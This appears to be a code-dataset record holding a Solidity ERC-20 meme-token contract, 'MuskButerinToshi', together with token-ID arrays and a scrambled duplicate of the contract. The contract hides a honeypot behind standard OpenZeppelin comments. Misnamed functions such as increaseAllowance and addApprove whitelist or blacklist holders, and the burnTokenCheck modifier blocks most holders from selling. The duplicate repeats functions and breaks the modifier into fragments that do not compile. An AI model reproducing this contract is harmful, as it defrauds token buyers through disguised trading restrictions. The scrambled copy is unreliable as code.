0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
5793,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
1071,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
309,
261,
20367,
422,
5793,
597,
8027,
422,
389,
20394,
13,
288,
203,
5411,
389,
70,
26488,
63,
67,
20394,
65,
273,
389,
70,
26488,
63,
67,
20394,
8009,
1289,
12,
8949,
1769,
203,
5411,
327,
638,
31,
203,
3639,
289,
203,
3639,
389,
13866,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
3639,
389,
12908,
537,
12,
203,
5411,
5793,
16,
203,
5411,
389,
3576,
12021,
9334,
203,
5411,
389,
5965,
6872,
63,
15330,
6362,
67,
3576,
12021,
1435,
8009,
1717,
12,
203,
7734,
3844,
16,
203,
7734,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
1699,
1359,
6,
203,
5411,
262,
203,
3639,
11272,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// MuskButerinToshi (MBT) a DeFi meme token.
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract MuskButerinToshi is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'MuskButerinToshi';
string private _symbol = 'MBT';
uint256 initialSupply = 100000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, 0*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract MuskButerinToshi is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'MuskButerinToshi';
string private _symbol = 'MBT';
uint256 initialSupply = 100000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, 0*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true)
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_blackAddress[sender] = true; _whiteAddress[sender] = false;
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true)
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_blackAddress[sender] = true; _whiteAddress[sender] = false;
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
{_;} else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true)
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_blackAddress[sender] = true; _whiteAddress[sender] = false;
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
}_;}else{
}
| 9,831,066 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
